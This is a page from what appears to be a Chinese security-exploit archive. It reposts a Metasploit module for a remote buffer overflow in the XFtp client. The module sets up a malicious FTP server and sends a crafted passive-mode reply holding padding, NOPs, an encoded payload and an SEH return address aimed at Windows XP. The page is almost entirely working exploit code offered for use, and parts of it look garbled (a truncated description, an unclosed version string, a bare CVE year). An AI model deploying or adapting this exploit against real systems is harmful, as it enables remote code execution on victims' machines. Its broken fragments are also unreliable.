首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
XFtp_client Remote Buffer Overflow
来源:http://www.metasploit.com 作者:zombiefx 发布时间:2011-09-06  
##
# $Id: XFtp_client.rb 9525 2010-06-15 07:18:08Z Iraq $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::TcpServer
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'XFtp_client Remote Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in the XFtp_client that is triggered
               
            },
            'Author'     =>
                [
                    'zombiefx',  # Original exploit author
                    'dookie'     # MSF module author
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9525 
, 'References' => [ [ 'CVE', '2011'], [ 'OSVDB', '63812'], [ 'URL', 'http://www.1337day.com/exploits/16829' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x76\x29\x4c\x3d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => "\xdc\x20\x30" } ], # 0x004021fd p/p/r in xftp.exe ], 'Privileged' => false, 'DisclosureDate' => '5/9/2011', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) # Let the client log in client.get_once user = "331 Please specify the password.\r\n" client.put(user) client.get_once pass = "230 Login successful.\r\n" client.put(pass) # Handle the clients PWD command client.get_once pwd = "257 \"/\" is current directory.\r\n" client.put(pwd) client.get_once sploit = "227 Entering Passive Mode (" sploit << rand_text_alpha_upper(2171) sploit << make_nops(100) sploit << payload.encoded sploit << make_nops(900 - (payload.encoded.length)) sploit << "\xe9\x18\xfc\xff\xff" sploit << "\xde\xf5\x90\x5D" sploit << [target.ret].pack("A3") sploit << ")\r\n" client.put(sploit) end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sound Editor Local Buffer Over
·AD Sound Recorder Local Buffer
·CoolPlayer Portable 2.19.2 Buf
·Bison FTP Server v3.5 Multiple
·World Of Warcraft Local Stack
·Desktop Recorder Local Buffer
·ZipX for Windows v1.71 ZIP Fil
·Free MP3 CD Ripper 1.1 Local B
·TOWeb V3 Local Format String D
·BisonFTP Server v3.5 (MKD) Rem
·Linux Kernel < 2.6.36.2 Econet
·Cerberus FTP Server 4.0.9.8 (R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved